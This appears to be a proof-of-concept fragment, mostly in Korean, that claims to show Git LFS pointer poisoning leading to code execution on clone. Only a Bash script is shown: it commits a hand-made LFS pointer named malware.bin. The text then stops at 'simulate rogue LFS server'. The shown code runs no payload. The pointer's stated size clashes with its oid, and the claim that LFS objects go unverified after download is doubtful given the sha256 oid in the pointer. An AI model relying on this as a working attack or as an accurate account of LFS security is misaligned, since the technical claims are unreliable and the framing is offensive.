
Git LFS 포인터 중독에 대한 개념 증명(PoC)으로, Bash 및 Python 스크립트를 사용하여 악성 저장소를 생성하고, 악성 LFS 서버를 시뮬레이션하며, 코드 실행을 트리거합니다.
# create_malicious_repo.sh - Sets up a repo with poisoned LFS pointer
git init
git lfs track "*.bin"
echo "version https://git-lfs.github.com/spec/v1
oid sha256:4142434445464748494a4b4c4d4e4f505152535455565758595a616263646566
size 4" > malware.bin
git add .gitattributes malware.bin
git commit -m "Add LFS file"
저장소가 Git LFS를 사용하지만 LFS 엔드포인트를 고정하지 않거나 다운로드 후 객체 해시를 검증하지 않습니다. LFS 서버를 장악한(또는 중간자 공격을 수행할 수 있는) 공격자는 대용량 파일을 악성 파일로 교체할 수 있으며, 클론 시 자동으로 다운로드되어 잠재적으로 실행될 수 있습니다.
bash create_malicious_repo.sh
# Then simulate rogue LFS server